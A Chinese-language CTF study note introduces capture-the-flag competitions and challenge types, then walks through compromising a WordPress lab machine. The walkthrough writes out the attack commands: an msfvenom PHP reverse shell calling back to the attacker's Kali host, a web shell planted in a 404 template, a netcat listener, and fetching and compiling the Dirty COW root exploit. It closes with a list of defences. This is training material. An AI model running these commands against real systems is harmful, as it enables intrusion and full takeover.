CTF 学习笔记
文章目錄
- 一,CTF(Capture The Flag)
- 1 CTF簡介
- 2 CTF賽事
- 2.1 國家賽事
- 2.2 國內(nèi)賽事
- 3 CTF意義
- 4 CTF學習
- 4.1 競賽模式
- 4.2 題目類型
- 4.3 學習建議
- 二,CTF題目案例
- 三,CTF靶機實戰(zhàn)
- 一步步拿下WordPres
- 1 實驗環(huán)境
- 1.1 WordPress簡介
- 1.2 實驗拓撲圖
- 1.3 攻防機器
- 2 實驗過程
- 第一步,信息收集
- 第二步,漏洞挖掘
- 第三步,漏洞利用
- 第四步,權(quán)限提升
- 3 思路總結(jié)
- 滲透全過程(紅)
- 防御全過程(藍)
- 賬號密碼匯總
- 滲透工具匯總
一,CTF(Capture The Flag)
- 中國一般譯作奪旗賽,在網(wǎng)絡(luò)安全領(lǐng)域中指的是網(wǎng)絡(luò)網(wǎng)絡(luò)安全技術(shù)人員之間進行攻防競技的一種比賽形式。
- 2019年國產(chǎn)電視劇《親愛的,熱愛的》,首次將CTF賽事搬進銀幕,通過李現(xiàn)扮演的“韓商言”,讓網(wǎng)絡(luò)安全攻防技術(shù)正式進入大眾視野。
1 CTF簡介
CTF(Capture The Flag)
CTF起源于1996年DEFCON全球黑客大會,以替代之前黑客們通過互相發(fā)起真實攻擊進行技術(shù)比拼的方式。
2 CTF賽事
2.1 國家賽事
國際知名CTF賽事:
- DEFCON:CTF賽事中的“世界杯”。
- UCSB iCTF:來自UCSB的面向世界高校的CTF。
- Plaid CTF:包攬多項賽事冠軍的CMU的PPP團隊舉辦的在線解題賽。
- Boston Key Party:近年來崛起的在線解題賽。
- Codegate CTF:韓國首爾“大獎賽”,冠軍獎金3000萬韓元。
- Secuinside CTF:韓國首爾“大獎賽”,冠軍獎金3000萬韓元。
- XXC3 CTF:歐洲歷史最悠久CCC黑客大會舉辦的CTF。
其中,DEFCON CTF及具影響力認可度非常高。
- DEFCON極客大會是全球頂級的安全會議,誕生于1993年,被稱為極客世界的“奧斯卡”。
- 每年7月在美國的拉斯維加斯舉行,近萬名參會者除來自世界各地的極客、安全領(lǐng)域研究者、愛好者,還有全球許多大公司的代表以及美國國防部、聯(lián)邦調(diào)查局、國家安全局等政府機構(gòu)的官員。
2.2 國內(nèi)賽事
- XCTF聯(lián)賽:國內(nèi)最權(quán)威、最高技術(shù)水平與最大影響力的CTF賽事品臺。
- 強網(wǎng)杯:最權(quán)威的國家級安全比賽,中央網(wǎng)信辦網(wǎng)絡(luò)安全協(xié)調(diào)局指導。
- 紅帽杯:廣東省公安廳,廣東省計算機網(wǎng)絡(luò)安全協(xié)會舉辦。
- AliCTF:阿里安全技術(shù)競賽,由阿里巴巴公司組織。
- TCTF:騰訊信息安全爭霸賽,由騰訊安全聯(lián)合實驗室主辦。
- BCTF:百度全國網(wǎng)絡(luò)安全技術(shù)對抗賽,由百度安全主辦。
- WCTF:世黑客大師賽,由360Vulcan團隊組織。
- HCTF:由杭州電子科技大學信息安全協(xié)會主辦的CTF。
- ISCC:全國大學生信息安全與對抗技術(shù)競賽,由北理工組織。
CTF賽事 :XCTF聯(lián)賽
- XCTF聯(lián)賽由清華大學藍蓮花戰(zhàn)隊發(fā)起組織,網(wǎng)絡(luò)空間安全人才基金和國家創(chuàng)新與發(fā)展戰(zhàn)略研究會聯(lián)合主辦。
- XCTF聯(lián)賽是國內(nèi)最權(quán)威,最高技術(shù)水平與最大影響力的網(wǎng)絡(luò)安全CTF賽事平臺。
紅帽杯
- 紅帽杯由廣東省公安廳指導,廣東省計算機網(wǎng)絡(luò)安全協(xié)會主辦,是面向黨政機關(guān)、企事業(yè)單位、高等院校、安全企業(yè)對外的大型網(wǎng)絡(luò)安全賽事。
- 推進廣東省“紅帽先鋒”人才培養(yǎng)計劃,鍛煉網(wǎng)絡(luò)安全技術(shù)人員的實戰(zhàn)能力,提高網(wǎng)絡(luò)安全防護的應(yīng)用水平,促進廣東省網(wǎng)絡(luò)安全事業(yè)發(fā)展。
3 CTF意義
網(wǎng)絡(luò)安全的學習非常需要實踐來促進,而真實環(huán)境不具備這樣的條件,CTF恰恰是一種鍛煉和學習信息安全技術(shù)的訓練場。
CTF 近期在國內(nèi)的發(fā)展非常迅猛,認可度也非常高,這證明了CTF存在的合理性和必要性。
國家層面,通過CTF比賽,可以以賽代練,培養(yǎng)出一批國內(nèi)優(yōu)秀的網(wǎng)絡(luò)安全人才。
企業(yè)層面,通過CTF比賽,可以更好練兵,讓相關(guān)信息安全部門的人員,有效的提高安全意識,持續(xù)學習安全技能。
4 CTF學習
4.1 競賽模式
解題模式(Jeopardy):線上賽
- 在解題模式CTF賽制中,參賽隊伍可以通過互聯(lián)網(wǎng)或者現(xiàn)場網(wǎng)絡(luò)參與,以解決網(wǎng)絡(luò)安全技術(shù)挑戰(zhàn)題目和分值和時間來排名,通常用于在線選拔賽。
- 題目主要包含逆向、漏洞挖掘與利用。Web滲透、密碼、取證、隱寫、安全編程等類別。
攻防模式(Attack-Defense)
- 在攻防模式CTF賽制中,參賽隊伍在網(wǎng)絡(luò)空間互相進行攻擊和防守,挖掘網(wǎng)絡(luò)服務(wù)漏洞并攻擊對手服務(wù)得分,修補自身服務(wù)漏洞進行防御來避免丟分。
- 攻防模式CTF賽制可以實時通過得分反映出比賽情況,最終也以得分直接分出勝負,是一種競爭激勵,具有很強觀賞性和高度透明性的網(wǎng)絡(luò)安全賽制。
混合模式(Mix)
- 結(jié)合了解題模式和攻防模式的CTF賽制,比如參賽隊伍通過解題可以獲得一些初始分數(shù),然后通過攻防對抗進行得分增減的零和游戲,最后以分高低分出勝負。采用混合模式CTF賽制的典型代表如:iCTF國際CTF競賽。
4.2 題目類型
Reverse(逆向工程)
- 題目涉及軟件逆向、破解技術(shù)等,要求有較強的反匯編、反編譯功底。
- 主要考查參賽選手的逆向分析能力。
- 所需知識:匯編語言、加密與解密、常見反編譯工具。
Pwn(破解)
- Pwn 在黑客俚語中代表著攻破,獲取權(quán)限,在CTF比賽中代表著溢出類題目,其中常見類型溢出漏洞有整數(shù)溢出、棧溢出等。
- 主要考查參賽選手對而進制、漏洞挖掘和利用能力。
- 所需知識:C/C++、OD+IDA、數(shù)據(jù)結(jié)構(gòu)、操作系統(tǒng)、匯編原理。
Web(Web安全)
- Web題目涉及到許多常見的Web漏洞,如XSS、文件包含、代碼執(zhí)行、上傳漏洞、SQL注入等。也有一些簡單的關(guān)于網(wǎng)絡(luò)基礎(chǔ)知識的考察,如返回包、tcp/ip、數(shù)據(jù)包內(nèi)容和構(gòu)造。
- 主要考查選手Web站點漏洞挖掘和利用能力。
- 所需知識:PHP、Python、TCP/IP、SQL、OWASP TOP10。
CryPto(加解密)
- 題目考察各種加解密技術(shù),包括古典加密技術(shù)、現(xiàn)代加密技術(shù)甚至出題者自創(chuàng)加密技術(shù),以及一些常見的編碼解碼。
- 主要考察參賽選手的密碼學相關(guān)知識點。
- 所需知識:矩陣、數(shù)論、密碼學。
Misc(雜項)
- Misc即安全雜項,題目涉及信息搜集、隱寫術(shù)、流量分析、數(shù)字取證、編碼轉(zhuǎn)換等,覆蓋面比較廣。
- 主要考察選手的各種基礎(chǔ)綜合知識。
- 所需知識:常見的隱寫術(shù)工具、Wireshark等流量審查工具、編碼知識等。
Mobile(移動安全)
- 主要分為Android和iOS兩個平臺,以Android逆向為主,破解APK并提交正確答案。
- 主要考察選手APP漏洞挖掘和利用能力。
- 所需知識:Java,Android開發(fā)。
4.3 學習建議
- 在掌握一定的基礎(chǔ)知識前提下,動手去做題。
- 在能力范圍的題目,盡可能自己解出。
- 能力范圍外的題目,參考writeup(題解)并親手實踐也非常有意義。
怎么判斷題目是否在能力范圍內(nèi)?
- 是否真的認真思考并嘗試解題。
- writeup中是否涉及自己的短板知識。
網(wǎng)站鏈接
- CTF Wiki:https://ctf-wiki.github.io/ctf-wiki/
- CTF time:https://ctftime.org/
- CTF Writeups:https://github.com/ctfs/
- CTF 靶場:https://www.vulnhub.com/
- Docker漏洞靶場:https://vulhub.org/
二,CTF題目案例
第三屆紅帽杯題目為例
網(wǎng)絡(luò)空間環(huán)境瞬息萬變,其復雜性和專業(yè)性對網(wǎng)絡(luò)安全人才也提出了更高要求,政府、企業(yè)、高校都在積極創(chuàng)新網(wǎng)絡(luò)安全人才培養(yǎng)機制。作為改革開放的排頭兵和先行地,廣東省互聯(lián)網(wǎng)呈現(xiàn)網(wǎng)絡(luò)基礎(chǔ)好、規(guī)模大、發(fā)展快、生態(tài)完善、前景廣闊的特征,與此同時,廣東省亦是遭受網(wǎng)絡(luò)攻擊的重災區(qū)。為此,廣東省分別以人才和技術(shù)為核心進行探索,積極構(gòu)筑全方位的網(wǎng)絡(luò)安全防線。
賽制全新升級,網(wǎng)絡(luò)靶場內(nèi)上演實戰(zhàn)演習
本次決賽在往年“紅帽杯”的基礎(chǔ)上進行了賽制的全新升級,大賽聚焦關(guān)鍵信息基礎(chǔ)設(shè)施的典型漏洞及風險,通過在平行仿真的網(wǎng)絡(luò)靶場中,將現(xiàn)實網(wǎng)絡(luò)空間的威脅斗爭映射成賽場上激烈的攻防博弈,全面考核參賽隊伍的漏洞發(fā)現(xiàn)、漏洞挖掘、漏洞修復、應(yīng)急響應(yīng)以及即時策略的綜合能力,在高仿真、全場景的網(wǎng)絡(luò)靶場中,全方位驗證和提升選手實戰(zhàn)能力。
三,CTF靶機實戰(zhàn)
一步步拿下WordPres
1 實驗環(huán)境
1.1 WordPress簡介
- WordPress是利用PHP開發(fā)的博客平臺,用戶可以在支持PHP和MySQL數(shù)據(jù)庫的服務(wù)上架設(shè)屬于自己的網(wǎng)站。也可以把WordPress當做一個內(nèi)容管理系統(tǒng)(CMS)來使用。
- WordPress是一款個人博客系統(tǒng),并逐步演化成一款內(nèi)容管理系統(tǒng)軟件,它是使用PHP語言和MySQL數(shù)據(jù)庫開發(fā)的,用戶可以在支持PHP和MySQL數(shù)據(jù)庫的服務(wù)器上使用自己的博客。
1.2 實驗拓撲圖
1.3 攻防機器
靶場下載:
Tips:首次打開虛擬機時,要選擇“我已移動該虛擬機”選項
滲透工具:Kail Linux
2 實驗過程
第一步,信息收集
主機發(fā)現(xiàn)
- 主機發(fā)現(xiàn)也采用arp-scan、netdiscover、fping等工具。
端口掃描
- 使用nmap對發(fā)現(xiàn)的主機IP進行掃描,命令:nmap -sS -sV -p- -v -T4 靶機IP。
參數(shù)說明:
- -A:詳細掃描目標IP,加載所有腳本,盡可能全面的探測信息。
- -v:顯示詳細的掃描過程。
- -sS:TCP SYN掃描。
- -sV:服務(wù)版本掃描。
- -p-:掃描全部端口(等同于-p 1-65535)
- -T4:級別越高速度越快,最高為6級。
威脅建模
靶機開放端口及對應(yīng)服務(wù):
- 22 SSH服務(wù)
- 80 HTTP服務(wù)
- 3306 MySQL服務(wù)
用Chrome瀏覽器訪問靶機,通過Wappalyzer插件獲得信息:
- CMS:WordPress 5.0.4
- 操作系統(tǒng):Centos
- 后端語言:PHP 5.3.3
- 數(shù)據(jù)庫:MySQL
第二步,漏洞挖掘
目錄掃描
- 目錄掃描工具:Dirb、DirBuster、Gobuster、御劍
后臺訪問
1.手工嘗試:
- 嘗試弱口令登錄
- 賬號:root
- 密碼:root
2.后臺訪問 - phpmyadmin爆破工具
3.后臺訪問 - Burp爆破
第三步,漏洞利用
修改管理員密碼
- 在wordpress數(shù)據(jù)庫中找到wp_user表
- 查詢:select * from 'wp_users'
- 密碼經(jīng)過加密,我們直接更新密碼為123456:update wp_users set user_pass=md5('123456') where user_login='cleverbao';
登錄后臺
- 瀏覽器訪問http://靶機ip/wp_admin,輸入賬號密碼,進入后臺
修改數(shù)據(jù)庫字段
- 此靶機數(shù)據(jù)庫部分字段,例如wp的ip地址需要進行修改,才能完成此實驗。
生成shell 方法1
- 利用MSF生成反彈shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=Kail的IP LPORT=4444 -o Desktop/shell.php
生成shell 方法2
- 利用Kail Linux自帶的反彈shell
- root@kail:~# cat /usr/share/webshells/php/php-resverse-shell.php
- 復制此shell代碼到404模板,修改IP為Kail地址,端口為4444
上傳shell
- 點擊外觀,選擇里面的編輯,選擇404模板,在404模板插入反彈shell。
獲取shell
- 使用netcat,監(jiān)聽4444端口:nc -nlvp 4444
- 瀏覽器訪問不存在的頁面,觸發(fā)404文件執(zhí)行,例如http://靶機ip/?p=666
參數(shù)說明:
- netcat:命令解析
- -l:監(jiān)聽
- -p:監(jiān)聽本地端口
- -n:指定IP地址
- -v:熟悉詳細信息
- -h:幫助文檔
查看權(quán)限
- 使用命令whoami,查看當前權(quán)限。
- 當前為apache權(quán)限,還不是root權(quán)限,需要進一步的體權(quán)。
- 注$代表用戶權(quán)限,#代表root權(quán)限。
第四步,權(quán)限提升
漏洞概述
臟牛(Dirty COW)提權(quán)
- 漏洞編號:CVE-2016-5195
- 漏洞名稱:臟牛(Dirty COW)
- 漏洞危害:低權(quán)限用戶利用該漏洞技術(shù)可以在全版本Linux系統(tǒng)上實現(xiàn)本地提權(quán)影響范圍:Linux內(nèi)核>=2.6.22(2007年發(fā)行)開始就受影響了,直到2016年10月18日才修復。
原理:
- Linux內(nèi)核的內(nèi)存子系統(tǒng)在處理寫入時復制(copy-on-write,COW)時產(chǎn)生了競爭條件(race condition)。惡意用戶可利用此漏洞,來獲取高權(quán)限,對只讀內(nèi)存映射進行寫訪問。
- 競爭條件,指的是任務(wù)執(zhí)行順序異常,可導致應(yīng)用崩潰,或令攻擊者有機可乘,甚是可能獲得root權(quán)限。
官方發(fā)出的一個exp:
- https://github.com/FireFart/dirtycow/blob/master/dirty.c
代碼執(zhí)行
- 下載到kail桌面并進入目錄,使用gcc編譯:gcc-pthread dirty.c -o dirty -lcrypt
- 設(shè)置為執(zhí)行權(quán)限:chmod +x dirty
- 使用python開啟http服務(wù):python -m SimpleHTTPSercer 80
- 通過反彈的shell,進入靶機/tmp目錄,使用wget下載dirty文件:wget http://kail的IP地址/dirty。
- 執(zhí)行dirty完成提權(quán),獲得登錄信息:./dirty new_password(任意密碼)。
3 思路總結(jié)
滲透全過程(紅)
- 主機發(fā)現(xiàn),掃描和識別端口服務(wù),找到20、80、3306
- 目錄掃描,找到敏感目錄,包括數(shù)據(jù)庫和網(wǎng)站后臺
- 手工嘗試登錄數(shù)據(jù)庫后臺,修改網(wǎng)站賬號密碼
- 利用網(wǎng)站賬號登錄后臺,上傳網(wǎng)站木馬(shell)
- 執(zhí)行網(wǎng)站木馬獲取低權(quán)限shell,判斷系統(tǒng)版本尋找提權(quán)方法
- 使用Dirty cow漏洞提權(quán),獲取管理員賬號實現(xiàn)root權(quán)限
防御全過程(藍)
- 關(guān)閉不需要的端口,遵循最小化原則
- 使用常見網(wǎng)站CMS時,修改默認后臺路徑
- 使用PhpmyAdmin時,修改默認路徑和密碼
- 升級操作系統(tǒng)版本,不定時打補丁漏洞
- 關(guān)注最新漏洞情報,提升安全運維響應(yīng)能力
賬號密碼匯總
- 數(shù)據(jù)庫后臺賬號密碼:root / root
- 網(wǎng)站管理員賬號密碼:cleverbao / 123456
- 系統(tǒng)管理員賬號密碼:firefart / 123456
滲透工具匯總
- 主機掃描:nmap、arp-scan、netdiscover
- 目錄遍歷:dirb、dirbuster、gobuster、御劍
- 漏洞挖掘與利用:phpmyadmin、burp、msf、netcat
- 權(quán)限提升:dirty cow、gcc
總結(jié)
- 上一篇: 时间轴ui设计_我应该在UI设计上花更多
- 下一篇: java面试题23 牛客ArrayLis